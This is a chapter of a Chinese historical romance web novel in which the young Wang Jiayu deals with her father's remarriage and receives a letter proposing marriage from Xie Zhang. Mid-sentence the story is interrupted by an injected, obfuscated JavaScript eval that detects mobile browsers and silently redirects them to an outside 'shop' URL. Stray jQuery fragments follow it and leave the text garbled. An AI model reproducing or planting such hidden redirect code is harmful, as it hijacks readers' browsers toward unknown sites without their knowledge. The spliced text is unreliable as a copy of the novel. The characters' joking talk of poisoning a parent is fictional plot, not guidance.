长明九年,隆冬。
王嘉玉十四岁,去年这个时候她刚刚丧母,浑身上下都像飘走了半条魂般。以至于这年下来,只有个头长了,身形都减轻了不少,眉眼也变得有几分的病恹。
但王嘉梨却很羡慕她,偷偷在私底下和王嘉秀嘀咕,说这是文弱风流,现在贵女圈都流行这样。还说她也要省几顿饭吃,模仿堂姐。
吴氏听了这句话差点没气个半死。
她以前不大喜欢王嘉玉,连带着孙氏那个妯娌,她也觉得太过俗气。但是孙氏死前,她是见过的,除了腿肿肚子大,就是胳膊细的跟条样的,瞅着怪可怜的。
一问服侍孙氏的丫鬟,果不其然,孙氏死前的几天就不怎么吃东西了。
后来王嘉玉因为孙氏死了,也有几天没怎么吃饭,整个人看着也要不行了。吴氏终于忍不住出面,她端了四菜一汤,让奴仆砸开了祠堂的木门。
然后很刻薄很刻薄地对王嘉玉道:
“你想怎么着,我管不着你。”
“但我就问你一句——”
“你是也想跟你母亲一样就这么去了,把孙氏留给你的嫁妆,留给你哥哥的梯己,都拱手相让给你父亲未来的妻与子吗。”
王嘉玉没说话,摇摇欲坠。
整个人直接晕倒在地上。
原来竟已撑不大住了。
吴氏咬牙,问左右侍女:“王齐那厮呢?跑哪里了?自家女儿这样子,他去哪里了!!”
侍女垂泪道:“郎主已经几日不曾回来过了,差人去问,也只说是在春花巷。”
眠花宿柳春花巷,那是个什么地方。吴氏一听就懂,立刻寒了面:“孙氏刚死七日不到,他饥渴成这样?!”
又无可奈何:
“把女郎抱回去,我亲自看管几天。”
吴氏真喜欢不起来王嘉玉,小小年龄和人精一样,处处压了她女儿一头;可吴氏也是真心疼王嘉玉,年纪轻轻地没了娘,以后婚事端看那个没良心的爹和还没出现的继母。
她衣不解带地照顾了王嘉玉三四日,终于还是在王嘉玉快要好转了后,起身悄然离开,走时嘱托瓷竹,不要告诉王嘉玉她这几日在这里。
瓷竹红着眼:“夫人这是为何?”
吴氏:“她在梦里喊的都是她娘,我又不是她娘。”
…思绪回笼,吴氏戳了戳王嘉梨脑瓜:“我好不容易把你养得白白胖胖健健康康,你要是想学你堂姐,好啊,你娘我成全你,我也去死一死,你悲伤难过什么都吃不下,到时候自然就文弱风流了!”
王嘉梨抱着吴氏,哭丧着脸:“哪儿能啊,您可千万别上火,气出个好歹。有了后娘就有后爹,我又没有王嘉玉那心眼,会被坑死的啊!”
这时,有人摔着帘子走了进来,人未至声先闻,“王嘉梨,你喊我呢?”
王嘉梨吓了一跳,往门口一看,却是穿着红袄雪裙的王嘉秀,故意装作王嘉玉吓她呢。
于是一下子底气就上来了,叉着腰,睥睨道:“说就说了,你待如何?还要和大姐姐告状去吗?”
“不用告状,我听见了。”
女声音色清亮,如同玉珠落银盘,余音能一直在人心里打颤,几乎不肖去看那张脸,就能确认这一定是个美人。
且是个回眸一笑便可惊艳世人的美人。
王嘉玉白衣翩翩,微笑着,走了过来。
王嘉梨表情很快从心虚变成愤愤:“无事不登三宝殿,我还以为这一年你是忘了我们姐妹呢,说吧,是来做什么的?”
王嘉玉没和她计较。
这一年,王明洪远走,王齐不管内宅,王嘉玉颇尝了些人情冷暖,却也因此看清了身边到底哪些人是真的牵挂她的。
这些人不多,但有一个王嘉梨。
王嘉玉盈盈一拜,她看向吴氏,她道:“一个月后庞氏女要进门,我有些事,还想和大伯母讨教一下。”
庞氏女就是王家给王齐挑好的继室。
王嘉梨和王嘉秀一听是这事,两个脑袋齐齐支棱起来,闪过几丝对于八卦的渴望。却被吴氏一个眼神,吓得退了出去,还贴心地把门掩上。
“大伯母,”王嘉玉道:“我也不和您说虚的,我想一问大伯母。当年庞氏十五岁定亲贾家,本来说十六岁过门,结果直接被送到了寺庙,青灯古寺十年,才遇到了我爹。”
“我不管我那糊涂爹,是因为爱情和她私许终身,还是真被迷住了。为人子女,这些我都不能过问。”
“我只想知道,庞氏好端端的女郎,那年怎么会突然去了寺庙?”
吴氏冷笑了声:“你也知道你那是个糊涂爹。年轻的时候仗着一身好皮囊,洛阳哪家女儿没被他抛过媚眼?”
王嘉玉心里一咯噔。
吴氏觑见她被惊到了,于是淡淡道:“多的我也不想说了,你去问你叔母吧,她爱讲故事。”
王嘉玉勉强笑了笑,谢过吴氏,起身告退。
过了一会,王嘉梨扑了进来,跟吴氏欢喜道:“阿娘,姐姐给我和嘉秀做了两件衣服,都是洛阳里最时兴的款式!可怪,你说她一年都没怎么出门参加宴会,怎么还知道什么料子好看,什么款式时兴。对了娘,大姐姐来问什么?”
吴氏摸了摸她的头。
“你大姐姐对你的好,你记住就行了,多学多看。至于别的,关你何事?”
…王嘉玉出了大房的门,艳阳昭昭,她却浑身发寒。刚刚吴氏话里是什么意思?难道庞氏和她爹爹早有关系,只是去年她母亲死了,这两人才从地下转为地上?
王嘉玉心里有些悲哀。
说不上是为娘,还是为自己如今的处境。
瓷竹看她愁眉苦脸,便拿着谢璋刚刚寄过来的信给王嘉玉看,调笑道:“女郎别烦心了,快看看谢郎君的信。随信来的还有些南方的果子,都没见过。”
王嘉玉道:“把那果子分四份,给大房和三房送过去,祖母和祖父那里也要有,还有外祖父。”
至于父亲,就不必了。
省得东西最后还要进了庞家。
瓷竹哎了一声,便扭着腰身去了。
王嘉玉等瓷竹走远,才拆开谢璋的信。
她已经两年没见过谢璋了,不知道谢璋到底在外面经历了什么,他这个人的笔锋越
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535397|203597||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来越利、讲的话越来越放荡,口气也越变越大。
她之前写信跟他抱怨父亲和庞氏女的事,谢璋回信,居然直接说:“我在洛阳有人手,可以神不知鬼不觉地帮你做掉庞氏女。或者按照明洪兄的主意,他说干脆把你爹给意外病丧了,这样你再守孝几年,等他回来给你做主。”
听听!
这是人话吗?
但是王嘉玉还真有点心动。
她回信给谢璋:“不能直接病逝,我守完孝十六岁正是要挑郎君的年龄,再加上我兄长,他若因为王齐病逝回王家一趟,很耽误你们共谋的大业…不过,有没有让人变得虚弱的药?”
这封信谢璋迟迟没回,王嘉玉还以为他有什么事耽搁了,没想到今日一拆开,险些让她气笑了。
“王嘉玉,如今天下大局未定,你这人惯是个没心没肺的,还挑起郎子了。让你守孝几年是为了你好,省得你头婚嫁了个短命鬼。”
就这么见不得她好?
王嘉玉哼了一声。
她怎么可能挑个短命的,不过,她要挑个父母早逝,上无兄长下无姊妹的是真的。
“你要虚弱的药,我这里倒没有。明洪去问陛下了,陛下说他有吃了让人一命呜呼的药,也有吃了让人从此不举的,就是没有吊着一条命的。”
王嘉玉叹气。
她知道这样的药难寻,但没想到连司马平都说不知道。
谢璋还在孜孜不倦地劝她:
“要我说,干脆毒死算了,你兄长说了,他给母亲守孝都没守完,多一个王齐又如何?再说你放心好了,要真因为这个耽误了你的年华,我回来也不是不能娶你。”
“仔细想想,咱俩岁数相当,门第相仿,郎才女貌、金童玉女、青梅竹马。嫁我,你不吃亏的。”
这是正常人求婚的语气吗?
王嘉玉深深吐出一口气,先前因父亲可能一早就背叛了母亲和庞氏女有私情的悲伤,已经被一股怒火取代。
谢璋,登徒子!
连信都没看完,王嘉玉就急步回了院子,起笔写了一封足足有千字的骂人之作。她真没把谢璋的话当真,她只是被这货贱到了。
直到她看完这封信最后一页。
“…如今已攻下五甲关,穷寇不追,是你之前在信里叮嘱我的话。我听进去了,是以和陛下商量后,大军不日将回。
嘉玉,我谢璋欲与你,商议婚期。
挑位高福寿者以为媒,择万贯珍奇以为聘。值此佳期,盼尔欢悦。江山万里,白首之约,朝朝暮暮与卿言。”
这人还越说越真了。
王嘉玉气得发懵的大脑一瞬清明——苦也!谢璋居然真的打算娶她?不是说知己吗?不是说兔子不吃窝边草吗。
再想想自己的择偶标准:
无父无母,无兄无弟,无姐无妹。
也不知谢璋是太幸运还是太不幸,在王嘉玉这里,可以说是一条没中。
王嘉玉撇了撇嘴,最后决定当没看见这封信,直接把信纸用火点燃,烧成了一堆灰。这种东西不能留下,留下被人看见了就是把柄,私相授受可就真坐实了。